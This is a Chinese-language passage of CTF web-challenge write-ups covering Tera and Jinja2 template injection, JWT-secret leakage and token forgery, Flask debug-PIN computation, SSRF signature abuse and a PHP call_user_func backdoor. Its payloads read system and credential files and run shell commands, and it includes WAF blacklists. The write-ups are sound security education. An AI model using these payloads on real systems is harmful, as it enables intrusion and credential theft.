));async fn authorization (claims: Claims, Form (data): Form<ReceivePath>) -> Response { if claims.username != "admin" { return (StatusCode::OK, Html::from ("NONONO" .to_owned ())).into_response (); } if data.path.contains (".." ) { return (StatusCode::BAD_REQUEST, Html::from ("Hakcer!" .to_owned ())).into_response (); } let path = PATH_PREFIX.join (&data.path); if !path.exists () { return (StatusCode::BAD_REQUEST, Html::from ("Not found!" .to_owned ())).into_response (); } let file_content = std::fs::read (path); match file_content { Ok (content) => (StatusCode::OK, content).into_response (), Err (e) => (StatusCode::BAD_REQUEST, Html::from (e.to_string ())).into_response (), } }
entrypoint.sh 找到了flag位置
Dockerfile
审计auth.rs发现是提取验证JWT 猜测应该需要伪造JWT 审计main.rs找到text路由,应该可以利用模板注入 text
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 struct ReceiveText { text: String , }const BLACK_LIST: [&str ; 7 ] = ["{{" , "}}" , "FLAG" , "REPLACE" , "+" , "__TERA_ONE_OFF" , "SET" ];async fn text (Form (data): Form<ReceiveText>) -> (StatusCode, Html<String >) { let text = data.text; let check_text = text.to_ascii_uppercase (); for word in BLACK_LIST.iter () { if check_text.contains (word) { return (StatusCode::BAD_REQUEST, Html::from ("Hakcer!" .to_owned ())); } } if text.len () > 3000 { return (StatusCode::BAD_REQUEST, Html::from ("Too long!" .to_owned ())); } let mut context = Context::new (); let content = tera::Tera::one_off (&text, &mut context, true ); match content { Ok (content) => (StatusCode::OK, Html::from (content)), Err (e) => (StatusCode::BAD_REQUEST, Html::from (e.to_string ())), } }
漏洞点应该在这里 text post输入
1 2 3 4 5 {% for char in __tera_context %} {% if 1==1 %} 111 {% endif %} {% endfor %}
测试发现回显111,此方法可行 上面dockerfile文件中SECRET_KEY为空,我们现在开始读取SECRET_KEY 猜测读取环境变量 查到get_env()函数可以读取环境变量 构造get_env(name=”SECRET_KEY”)
1 2 3 4 {% set secret_key = get_env(name="SECRET_KEY" ) %} {% for char in secret_key %} {{ char if char.isalnum() else '_' }} {% endfor %}
发现{{}}
被ban了 直接写
1 2 3 4 5 {% for char in get_env(name="SECRET_KEY") %} {% if char =='b'%} 11111111122222233333 {% endif %} {% endfor %}
这里可以写一个循环把key全爆出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 {% for char in get_env(name="SECRET_KEY") %} {% if char == 'z' %} z {% elif char == 'a' %} a {% elif char == 'b' %} b {% elif char == 'c' %} c {% elif char == 'd' %} d {% elif char == 'e' %} e {% elif char == 'f' %} f {% elif char == 'g' %} g {% elif char == 'h' %} h {% elif char == 'i' %} i {% elif char == 'j' %} j {% elif char == 'k' %} k {% elif char == 'l' %} l {% elif char == 'm' %} m {% elif char == 'n' %} n {% elif char == 'o' %} o {% elif char == 'p' %} p {% elif char == 'q' %} q {% elif char == 'r' %} r {% elif char == 's' %} s {% elif char == 't' %} t {% elif char == 'u' %} u {% elif char == 'v' %} v {% elif char == 'w' %} w {% elif char == 'x' %} x {% elif char == 'y' %} y {% elif char == 'A' %} A {% elif char == 'B' %} B {% elif char == 'C' %} C {% elif char == 'D' %} D {% elif char == 'E' %} E {% elif char == 'F' %} F {% elif char == 'G' %} G {% elif char == 'H' %} H {% elif char == 'I' %} I {% elif char == 'J' %} J {% elif char == 'K' %} K {% elif char == 'L' %} L {% elif char == 'M' %} M {% elif char == 'N' %} N {% elif char == 'O' %} O {% elif char == 'P' %} P {% elif char == 'Q' %} Q {% elif char == 'R' %} R {% elif char == 'S' %} S {% elif char == 'T' %} T {% elif char == 'U' %} U {% elif char == 'V' %} V {% elif char == 'W' %} W {% elif char == 'X' %} X {% elif char == 'Y' %} Y {% elif char == 'Z' %} Z {% elif char == '0' %} 0 {% elif char == '1' %} 1 {% elif char == '2' %} 2 {% elif char == '3' %} 3 {% elif char == '4' %} 4 {% elif char == '5' %} 5 {% elif char == '6' %} 6 {% elif char == '7' %} 7 {% elif char == '8' %} 8 {% elif char == '9' %} 9 {% else %} _ {% endif %} {% endfor %}
拿到key为DAPqYZUDHpHzPxvHpKjfRLMj 本地搭建rust环境,设置SECRET_KEY为DAPqYZUDHpHzPxvHpKjfRLMj
改一下两个地方 main.rs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 async fn main () { tracing_subscriber::fmt::init (); let username = "admin" .to_string (); let claims = Claims::new (username.clone ()); let token : Result <String , AuthError> = encode (&Header::default (), &claims, &KEYS.encoding) .map_err (|_| AuthError::TokenCreation); match token { Ok (token) => println! ("Generated JWT: {}" , token), Err (e) => eprintln!("Error generating token: {:?}" , e), } let app = Router::new () .route ("/" , get (root)) .route ("/text" , post (text)) .route ("/login" , post (login)) .route ("/read" , post (authorization)); let listener = tokio::net::TcpListener::bind ("0.0.0.0:80" ).await .unwrap (); axum::serve (listener, app).await .unwrap (); }
auth.rs
1 2 3 4 5 6 pub static KEYS: Lazy<Keys> = Lazy::new (|| { // let secret = std ::env::var ("SECRET_KEY" ).expect("JWT_SECRET must be set" ); // let secret = std ::env::var ("SECRET_KEY" ).unwrap_or("secret" .to_owned()); let secret = "DAPqYZUDHpHzPxvHpKjfRLMj" .to_owned(); Keys::new (secret.as_bytes()) });
然后cargo run运行整个项目 成功获得jwt
1 eyJ0 eXAiOiJKV1 QiLCJhbGciOiJIUzI1 NiJ9 .eyJ1 c2 VybmFtZSI6 ImFkbWluIiwiZXhwIjoxMDAwMDAwMDAwMH0. _ktK5 oJxeupdrPD1152 cQPl9 Gjh8 nGmE7 ZQF0 eBxjY4
这里要同时填入cookie和认证 然后再看main.rs authorization
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 async fn authorization(claims: Claims, Form(data ): Form<ReceivePath>) -> Response { if claims.username != "admin" { return (StatusCode::OK , Html::from ("NONONO" .to_owned())).into_response(); } if data .path.contains(".." ) { return (StatusCode::BAD_REQUEST , Html::from ("Hakcer!" .to_owned())).into_response(); } let path = PATH_PREFIX.join (&data .path); if !path.exists() { return (StatusCode::BAD_REQUEST , Html::from ("Not found!" .to_owned())).into_response(); } let file_content = std::fs ::read (path); match file_content { Ok(content) => (StatusCode::OK , content).into_response(), Err(e) => (StatusCode::BAD_REQUEST , Html::from (e.to_string())).into_response(), } }
利用点是这个 let file_content = std::fs::read(path); 虽然说ban了目录穿越,但没什么用 直接读flag就可以了这里有个类似的题
[RoarCTF 2019]Easy Java 打开题目是个登录页面 首先查看源代码和消息头,并没有什么额外的收获,sql注入也没用,点开help 从url看出是包含,可能存在文件包含漏洞 但是这里没有包含help文件,尝试使用post提交,可以下载文件 发现post提交打开即可,post不需要参数 类似于这样
WEB-INF/web.xml泄露
java web工程目录结构
Servlet访问URL映射配置 由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用servlet元素和servlet-mapping元素完成servlet元素用于注册Servlet,它包含有两个主要的子元素:servlet-name和servlet-class。分别用于设置Servlet的注册名称和Servlet的完整类名。一个servlet-mapping元素用于映射一个已注册的Servlet的一个对外访问路径,它包括有两个子元素:servlet-name和url-pattern,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例
1 2 3 4 5 6 7 8 <servlet > <servlet-name > ServletDemo1</servlet-name > <servlet-class > cn.itcast.ServletDemo1</servlet-class > </servlet > <servlet-mapping > <servlet-name > ServletDemo1</servlet-name > <url-pattern > /ServletDemo1</url-pattern > </servlet-mapping >
回到上面文件包含,我们已经下载了/WEB-INF/web.xml 读取这个类文件
1 filename=/WEB-INF/ classes/com/ wm/ctf/ FlagController.class
下载文件发现里面有一段base64编码,那就是flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.IOException;import java.io.PrintWriter;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@WebServlet( name = "FlagController" ) public class FlagController extends HttpServlet { String flag = "ZmxhZ3s5NWFmZTIwYi0wMmZmLTQ4YTEtOTYzYS0xNDBlMGY4MDFmYTd9Cg==" ; public FlagController () { } protected void doGet (HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { PrintWriter var3 = var2.getWriter(); var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>" ); } }
[De1CTF 2019]SSRF Me 题目给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 )class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if self.checkSign(): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if resp == "Connection Timeout" : result['data' ] = resp else : print (resp) tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): return getSign(self.action, self.param) == self.sign@app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)@app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())@app.route('/' ) def index (): return open ("code.txt" , "r" ).read()def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()def md5 (content ): return hashlib.md5(content).hexdigest()def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
一个flask框架 先说Task类 注意这两个if语句
1 2 if "scan" in self .action: if "read" in self .action:
在判断action中的值的时候,用的是in,而不是==,所以如果action中是scanread或者是readscan的话,if语句同时满足,相应的代码都执行。 逐句解释代码太罗嗦了,还是按照思路来
得到flag的大致思路 首先绕过self.checkSign(),并且传入的action需要同时包含scan和read,然后if “scan” in self.action执行将flag.txt中的数据写入result.txt中,继续if “read” in self.action:执行读取result.txt中的数据,并且放在result[‘data’]中, return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。
构造payload的步骤 首先绕过self.checkSign() 1 2 3 4 5 6 7 8 9 10 11 12 13 def checkSign (self ): return getSign(self .action, self .param) == self .sign def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()@app .route("/geneSign" , methods=['GET' , 'POST' ])def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
需要满足self.checkSign(), 就需要getSign(self.action, self.param) == self.sign,(sign值通过cookie传值) 就需要hashlib.md5(secert_key + param + action).hexdigest() == self.sign 也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign 所以我们需要得到secert_key + ‘flag.txtreadscan的哈希值 但是我们不知道secret_key的值是多少,它只存在于服务器
1 2 3 4 5 @app .route ("/geneSign" , methods=['GET' , 'POST' ]) def geneSign (): param = urllib.unquote (request.args.get ("param" , "" )) action = "scan" return getSign (action, param)
但是我们可以通过上面截取的源码中/geneSign,来返回我们所需要的编码之后的哈希值 注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’ 返回哈希值
将flag.txt中的数据读入result.txt,然后读取result.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param ) if (resp == "Connection Timeout" ): result ['data' ] = resp else : print resp tmpfile.write (resp) tmpfile.close () result ['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result ['code' ] = 200 result ['data' ] = f.read () if result ['code' ] == 500 : result ['data' ] = "Action Error"
De1ta
1 2 3 4 5 6 7 8 9 10 11 @app .route ('/De1ta' , methods=['GET' , 'POST' ]) def challenge (): action = urllib.unquote (request.cookies.get ("action" )) param = urllib.unquote (request.args.get ("param" , "" )) sign = urllib.unquote (request.cookies.get ("sign" )) ip = request.remote_addr if waf (param): return "No Hacker!!!!" task = Task (action, param, sign, ip) return json.dumps (task.Exec ())
[GYCTF2020]FlaskApp 题目提示了这题需要进行Flask模板注入,打开题目后是一个用flask写的一个base64加解密应用。 在hint页面查看源码发现需要PIN码 这题的思路大概就是,因为开启了debug模式,所以可以利用ssti注入读文件最终获得pin码,然后利用pin码进入debug模式的交互式命令行进行命令的执行 首先是要找到ssti的注入点,经过测试,发现是解码的那里,如果在加密处输入6,然后放到解密里解密,会输出6(*被过滤了不能使用),因此存在SSTI。但是经过测试,执行命令的SSTI注入方式被过滤了,按照提示,应该想办法利用PIN码。PIN码的生成需要下面这些东西
生成PIN的关键值有如下几个
服务器运行flask所登录的用户名,通过读取/etc/passwd获得
modname一般不变就是flask.app
getattr(app,”name”,app.class.name).python该值一般为Flask 值一般不变
flask库下app.py的绝对路径,通过报错信息就会泄露该值
当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0出为当前使用的网卡
最后一个就是机器的id。对于非docker机每一个机器都会有自己唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同,对于docker机则读取/proc/self/cgroup
利用如下语句进行读取文件
1 2 3 4 5 {{{}.__class__.__mro__ [-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd' ).read()}} 或者这个也行: {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd' ).read()}}
读一下etc/passwd,发现用户名是flaskweb 通过随便输入报错,得到app.py的绝对路径 再通过读/sys/class/net/eth0/address来获得mac的地址
1 {{().__class__.__bases__ [0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address' ).read()}}
Mac地址转换成十进制
1 2 print (int ('ae8f05ec0387' ,16 ))#191929302909831
因为题目是docker环境,因此读机器id需要读/proc/self/cgroup
1 {{().__class__.__bases__ [0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup' ).read()}}
想必使我的靶机出了问题,这里爆不出靶机的id chatgpt对此的解释是 0::/ 表示当前进程没有被分配到任何特定的 cgroup 层级,通常出现在未设置资源限制的 Docker 容器或 Docker 容器在 cgroup v2 模式下运行的情况下。如果你需要更多的信息或控制,可以通过调整 Docker 容器启动参数来指定资源限制。
还是按正常流程来作题吧,当获得了机器id,那么要素齐全了,我们可以通过一个脚本获得pin的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import hashlibfrom itertools import chain probably_public_bits = [ 'flaskweb' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' , ] private_bits = [ '2485410401573' , 'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990' ] h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = numprint (rv)
然后进入console目录即可命令执行获得flag
非预期解 虽然说命令执行的SSTI注入被过滤二零,但是我们还可以拼接绕过 这里学习到了一个SSTI的新姿势,更方便找可以命令执行的类了
1 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].open('app.py' ,'r' ).read() }} {% endif %} {% endfor %}
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config[' ;SECRET_KEY' ;] = ' ;s_e_c_r_e_t_k_e_y' ; bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField(' ;BASE64加密' ;,validators= [DataRequired()]) submit = SubmitField(' ;提交' ;) class NameForm1(FlaskForm): text = StringField(' ;BASE64解密' ;,validators= [DataRequired()]) submit = SubmitField(' ;提交' ;) def waf(str): black_list = [" ;flag" ;," ;os" ;," ;system " ;," ;popen" ;," ;import " ;," ;eval" ;," ;chr" ;," ;request" ;, " ;subprocess" ;," ;commands" ;," ;socket" ;," ;hex" ;," ;base64" ;," ;*" ;," ;?" ;] for x in black_list : if x in str.lower() : return 1 @app.route(' ;/hint' ;,methods=[' ;GET' ;]) def hint(): txt = " ;失败乃成功之母!!" ; return render_template(" ;hint.html" ;,txt = txt) @app.route(' ;/' ;,methods=[' ;POST' ;,' ;GET' ;]) def encode(): if request.values.get(' ;text' ;) : text = request.values.get(" ;text" ;) text_decode = base64.b64encode(text.encode()) tmp = " ;结果 :{0 }" ;.format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for(' ;encode' ;)) else : text = " ;" ; form = NameForm(text) return render_template(" ;index.html" ;,form = form ,method = " ;加密" ; ,img = " ;flask.png" ;) @app.route(' ;/decode' ;,methods=[' ;POST' ;,' ;GET' ;]) def decode(): if request.values.get(' ;text' ;) : text = request.values.get(" ;text" ;) text_decode = base64.b64decode(text.encode()) tmp = " ;结果 : {0 }" ;.format(text_decode.decode()) if waf(tmp) : flash(" ;no no no !!" ;) return redirect(url_for(' ;decode' ;)) res = render_template_string(tmp) flash( res ) return redirect(url_for(' ;decode' ;)) else : text = " ;" ; form = NameForm1(text) return render_template(" ;index.html" ;,form = form, method = " ;解密" ; , img = " ;flask1.png" ;) @app.route(' ;/<name>' ;,methods=[' ;GET' ;]) def not_found(name): return render_template(" ;404. html" ;,name = name) if __name__ == ' ;__main__' ;: app.run(host=" ;0.0 .0 .0 " ;, port=5000 , debug=True ) # html 解码from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY' ] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64 Æ' ,validators= [DataRequired()]) submit = SubmitField('Ф' ) class NameForm1(FlaskForm): text = StringField('BASE64ãÆ' ,validators= [DataRequired()]) submit = SubmitField('Ф' ) def waf(str): black_list = ["flag" ,"os" ,"system" ,"popen" ,"import" ,"eval" ,"chr" ,"request" , "subprocess" ,"commands" ,"socket" ,"hex" ,"base64" ,"*" ,"?" ] for x in black_list : if x in str.lower() : return 1 def hint(): txt = "1%CKÍ" return render_template("hint.html" ,txt = txt) def encode(): if request.values.get('text' ) : text = request.values.get("text" ) text_decode = base64.b64encode(text.encode()) tmp = "Ó :{0}" .format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode' )) else : text = "" form = NameForm(text) return render_template("index.html" ,form = form ,method = " Æ" ,img = "flask.png" ) def decode(): if request.values.get('text' ) : text = request.values.get("text" ) text_decode = base64.b64decode(text.encode()) tmp = "Ó {0}" .format(text_decode.decode()) if waf(tmp) : flash("no no no !!" ) return redirect(url_for('decode' )) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode' )) else : text = "" form = NameForm1(text) return render_template("index.html" ,form = form, method = "ãÆ" , img = "flask1.png" ) def not_found(name): return render_template("404.html" ,name = name) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=5000 , debug=True )
可以看到waf过滤了很多 利用字符串拼接读找目录
1 {{''.__class__.__bases__ [0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o' +'s' ).listdir('/' )}}
读flag
1 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].open('txt.galf_eht_si_siht/' [::-1 ],'r' ).read() }} {% endif %} {% endfor %}
或者
1 2 3 4 5 6 7 8 9 10 11 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva' +'l' in b.keys() %} {{ b['eva' +'l' ]('__impor' +'t__' +'("o' +'s")' +'.pope' +'n' +'("ls /").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
或者
1 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva' +'l' in b.keys() %} {{ b['eva' +'l' ]('__impor' +'t__' +'("o' +'s")' +'.pope' +'n' +'("cat /this_is_the_fl' +'ag.txt").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
newstartctf2024 PangBai 过家家(1) 第一关 看到标头有一个路径,url添加这个路径就可到达第二关 第二关是get传入一个参数
第三关post传入参数
第四关
1 PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!
应该是要改UA头,但不能全改,有些题是能全改的但不知道这题是为什么
第五关 把say参数值改为玛卡巴卡阿卡哇卡米卡玛卡呣 随意传入zip文件即可
第六关 加一个XFF头即可 这样就获得了密钥 这样我们就可以拿着密钥去jwt.io去伪造一个jwt了 flag在第0关,改为0即可
newstarctf2024 复读机 经典ssti,这题过滤了class,但可以通过拼接绕过 payload
1 user_input= {{"" ['__cl'+'ass__'].__bases__[0]["__subcl"+"asses__"]()[221].__init__.__globals__.__builtins__['open']('/flag' ).read()}}
newstarctf2024 PangBai 过家家(2) 提示我们有后门 用dirsearch扫扫 发现存在git泄露 用githacker把git拉下来 检查.git 在.git/log/refs/stash下发现线索
1 0000000000000000000000000000000000000000 218794454 cba0606a3d68175bbd46c198b7469ca NewStarCTF 2024 <newstar@openctf.net> 1727085801 +0000 On main: Backdoor
经过查阅 .git/logs/refs/stash 是一个 Git 日志文件,专门用于记录与 stash 相关的操作。它记录了你在项目中每次使用 git stash(隐藏或存储未提交的更改)时的历史信息 可以用git stash list git stash list 会列出所有 stash 的记录,包括每次 stash 的简要信息、保存的分支以及提交信息。它相当于读取 .git/logs/refs/stash 文件的内容。
也可以用git show 通过 git show 来查看某个 stash 的详细内容(即保存的更改)。
或者用git stash apply 使用 git stash apply 或 git stash pop 恢复特定的 stash。这可以帮助你测试某个 stash 并查看更改的影响。
1 git stash apply stash@ {0 }
可以看到多了两个文件 BacKd0or.v2d23AOPpDfEW5Ca.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function print_msg ($msg ) { $content = file_get_contents ('index.html' ); $content = preg_replace ('/\s*<script.*<\/script>/s' , '' , $content ); $content = preg_replace ('/ event/' , '' , $content ); $content = str_replace ('点击此处载入存档' , $msg , $content ); echo $content ; }function show_backdoor ( ) { $content = file_get_contents ('index.html' ); $content = str_replace ('/assets/index.4f73d116116831ef.js' , '/assets/backdoor.5b55c904b31db48d.js' , $content ); echo $content ; }if ($_POST ['papa' ] !== 'TfflxoU0ry7c' ) { show_backdoor (); } else if ($_GET ['NewStar_CTF.2024' ] !== 'Welcome' && preg_match ('/^Welcome$/' , $_GET ['NewStar_CTF.2024' ])) { print_msg ('PangBai loves you!' ); call_user_func ($_POST ['func' ], $_POST ['args' ]); } else { print_msg ('PangBai hates you!' ); }
可以利用的函数是call_user_func,它可以帮助我们命令执行 payload
1 2 ?NewStar[CTF.2024 =Welcome%0apapa =TfflxoU0ry7c&func=system&args=env
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 源代码中找到file参数,可以文件啊读取,利用伪协议 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php ini_set ('open_basedir' , '/var/www/html/' );$file = (isset ($_GET ['file' ]) ? $_GET ['file' ] : null );if (isset ($file )){ if (preg_match ("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file )) { echo ('no way!' ); exit ; } @include ($file ); } ?> <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="utf-8" > <title > index</title > <base href ="./" > <meta charset ="utf-8" /> <link href ="assets/css/bootstrap.css" rel ="stylesheet" > <link href ="assets/css/custom-animations.css" rel ="stylesheet" > <link href ="assets/css/style.css" rel ="stylesheet" > </head > <body > <div id ="h" > <div class ="container" > <h2 > 2077发售了,不来份实体典藏版吗?</h2 > <img class ="logo" src ="./assets/img/logo-en.png" > <div class ="row" > <div class ="col-md-8 col-md-offset-2 centered" > <h3 > 提交订单</h3 > <form role ="form" action ="./confirm.php" method ="post" enctype ="application/x-www-urlencoded" > <p > <h3 > 姓名:</h3 > <input type ="text" class ="subscribe-input" name ="user_name" > <h3 > 电话:</h3 > <input type ="text" class ="subscribe-input" name ="phone" > <h3 > 地址:</h3 > <input type ="text" class ="subscribe-input" name ="address" > </p > <button class ='btn btn-lg btn-sub btn-white' type ="submit" > 我正是送钱之人</button > </form > </div > </div > </div > </div > <div id ="f" > <div class ="container" > <div class ="row" > <h2 class ="mb" > 订单管理</h2 > <a href ="./search.php" > <button class ="btn btn-lg btn-register btn-white" > 我要查订单</button > </a > <a href ="./change.php" > <button class ="btn btn-lg btn-register btn-white" > 我要修改收货地</button > </a > <a href ="./delete.php" > <button class ="btn btn-lg btn-register btn-white" > 我不想要了</button > </a > </div > </div > </div > <script src ="assets/js/jquery.min.js" > </script > <script src ="assets/js/bootstrap.min.js" > </script > <script src ="assets/js/retina-1.1.0.js" > </script > <script src ="assets/js/jquery.unveilEffects.js" > </script > </body > </html >
search.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > 搜索</title > <base href ="./" > <link href ="assets/css/bootstrap.css" rel ="stylesheet" > <link href ="assets/css/custom-animations.css" rel ="stylesheet" > <link href ="assets/css/style.css" rel ="stylesheet" > </head > <body > <div id ="h" > <div class ="container" > <div class ="row" > <div class ="col-md-8 col-md-offset-2 centered" > <p style ="margin:35px 0;" > <br > </p > <h1 > 订单查询</h1 > <form method ="post" > <p > <h3 > 姓名</h3 > <input type ="text" class ="subscribe-input" name ="user_name" > <h3 > 电话:</h3 > <input type ="text" class ="subscribe-input" name ="phone" > </p > <p > <button class ='btn btn-lg 